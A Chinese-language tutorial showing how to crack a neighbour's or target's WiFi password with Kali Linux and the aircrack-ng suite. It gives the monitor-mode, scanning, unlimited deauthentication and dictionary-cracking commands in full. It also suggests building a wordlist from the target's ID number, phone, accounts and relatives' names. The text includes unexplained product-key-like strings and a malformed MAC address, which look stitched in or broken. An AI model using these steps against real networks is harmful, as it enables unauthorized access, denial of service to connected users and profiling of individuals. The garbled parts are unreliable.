前言
本文我们采用最原始的暴力破解方式,演示如何破解 WiFi 密码。什么是暴力破解?
字符集 密码位数 密码可能性 [0-9] 8位 10^8=100000000 [0-9][a-z] 8位 36^8=2821109907456 [0-9][a-z] 1-8位 ……………………….. 字典破解就是通过比较合理的条件,筛选或者过滤掉一些全字符组合的内容,大幅降低爆破的成本。 针对我们破解的 WiFi 密码,WiFi 密码字典和社工字典是最好的选择。 WiFi 密码字典,顾名思义就是存放大量 WiFi 密码的字典。 但是 WiFi 密码字典没有针对目标本身进行生成,具有普遍性,从而导致无法精准打击目标。 假如我对目标的已知信息如下, 1.名字 2.身份证号 3.手机号 4.微信号 5.QQ 号 6.游戏账号 7.各大平台账号 8.生日 9.email 10.外号 11.亲戚朋友恋人名字 12.曾经用过的密码 13.… … 通过计算,得到社工字典
ZF3R0-FHED2-M80TY-8QYGC-NPKYF
YF390-0HF8P-M81RQ-2DXQE-M2UT6
ZF71R-DMX85-08DQY-8YMNC-PPHV8
安装操作
下载 Kali Linux 官网下载链接:Kali Linux | Penetration Testing and Ethical Hacking Linux Distribution kali 监听无限网卡 直接在某宝或某多多搜索:kali 监听无限网卡 黑客入门必备的工具,非常好用,感兴趣的朋友可以入手WiFi 密码暴力破解
虚拟机连接 USB 网卡 首先进入 kali 系统
ifconfig
插入准备好的 kali 网卡,选择连接到虚拟机,选择 kali

ifconfig
出现 wlan0 后证明检测到无限网卡

airmon-ng start wlan0

ifconfig
出现 wlan0mon 后证明网卡监听服务准备就绪
扫描附近 WiFi
airodump-ng wlan0mon
使用 airodump-ng 命令列出无线网卡扫描到的 WiFi 热点详细信息,包括信号强度,加密类型,信道等。
这里我们记下要破解 WiFi 的 BSSID 和信道,下图中我用蓝色标记。当搜索到我们想要破解的 WiFi 热点时可以 Ctrl+C 停止搜索。这里我们破解 MERCURY_72C0 的网络密码 可以看到,该网络的物理地址为 1A:2B:3C:4D:5E:6F,当前信道为 11 注:安全起见,此处物理地址仅供参考 编造地址为 1A:2B:3C:4D:5E:6F

抓包
新建一个命令行窗口
aireplay-ng -0 0 -a 1A:2B:3C:4D:5E:6F -c 12:34:5H:7K:1E:9F wlan0mon
注: -0 冲突攻击模式,使客户端断开和路由器的连接
0 攻击的次数,设置为0代表无限攻击,导致客户端一直无法连接路由器
-a 路由器的MAC地址
-c 连接设备的MAC地址
抓取包含 WiFi 密码的 ACK 握手包


aircrack-ng -w /home/kali/Desktop/password.txt /home-10.cap
注:password.txt 社工字典
home-10.cap 抓包文件
key found[**********] 找到密码

上面演示的暴力破解 WiFi 密码说白了就是 穷举法,将密码字典中每一个密码依次去与握手包中的密码进行匹配,直到匹配成功。
所以 能否成功破解 wifi 密码取决于密码字典本身是否包含了这个密码。破解的时间取决于 CPU 的运算速度以及密码本身的复杂程度。
如果 WiFi 密码设得足够复杂,即使有一个非常完美的密码字典,要想破解成功花上几周几个月甚至更久都是有可能的。
© 版权声明
THE END
暂无评论内容